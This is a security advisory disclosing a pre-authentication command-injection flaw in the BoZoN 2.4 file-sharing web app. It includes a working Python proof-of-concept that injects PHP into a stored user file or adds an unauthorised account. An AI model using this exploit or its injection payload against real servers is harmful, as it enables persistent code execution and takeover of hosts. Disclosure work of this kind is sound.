BoZoN 2.4 Remote Command Execution

`[+]##################################################################################################  
[+] Credits / Discovery: John Page  
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/BOZON-PRE-AUTH-COMMAND-EXECUTION.txt  
[+] ISR: ApparitionSec   
[+]##################################################################################################  
  
  
  
Vendor:  
============  
bozon.pw/en/  
  
  
  
Product:  
===========  
BoZoN 2.4   
  
Bozon is a simple file-sharing app. Easy to install, free and open source Just copy BoZoN's files onto your server.  
  
  
Vulnerability Type:  
==========================  
Pre-Auth Command Execution   
  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
Security Issue:  
================  
  
A Bozon vulnerability allows unauthenticated attackers to add arbitrary users and inject system commands to the "auto_restrict_users.php"  
file of the Bozon web interface.  
  
This issue results in arbitrary code execution on the affected host, attackers system commands will get written and stored to the PHP file  
"auto_restrict_users.php" under the private/ directory of the Bozon application, making them persist. Remote attackers will get the command  
responses from functions like phpinfo() as soon as the HTTP request has completed.  
  
In addition when an admin or user logs in or the webpage gets reloaded the attackers commands are then executed as they are stored.  
If a Command is not injected to the "auto_restrict_users.php" file, unauthenticated attackers can opt to add user accounts at will.  
  
  
  
Exploit/POC:  
=============  
  
import urllib,urllib2,time  
  
#Bozon v2.4 (bozon.pw/en/) Pre-Auth Remote Exploit  
#Discovery / credits: John Page - Hyp3rlinx/Apparition  
#hyp3rlinx.altervista.org  
#Exploit: add user account | run phpinfo() command  
#=========================================================  
  
EXPLOIT=0  
IP=raw_input("[Bozon IP]>")  
EXPLOIT=int(raw_input("[Exploit Selection]> [1] Add User 'Apparition', [2] Execute phpinfo()"))  
  
if EXPLOIT==1:  
CMD="Apparition"  
else:  
CMD='"];$PWN=''phpinfo();//''//"'  
  
if EXPLOIT != 0:  
url = 'http://'+IP+'/BoZoN-master/index.php'  
data = urllib.urlencode({'creation' : '1', 'login' : CMD, 'pass' : 'abc123', 'confirm' : 'abc123', 'token' : ''})  
req = urllib2.Request(url, data)  
  
response = urllib2.urlopen(req)  
if EXPLOIT==1:  
print 'Apparition user account created! password: abc123'  
else:  
print "Done!... waiting for phpinfo"  
time.sleep(0.5)  
print response.read()  
  
  
  
  
Impact:  
===============  
System Takeover  
  
  
  
Severity:  
=========  
High  
  
  
  
Disclosure Timeline:  
====================================  
Vendor Notification: No Replies  
January 17, 2017 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c) HYP3RLINX   
  
Hyp3rlinx  
`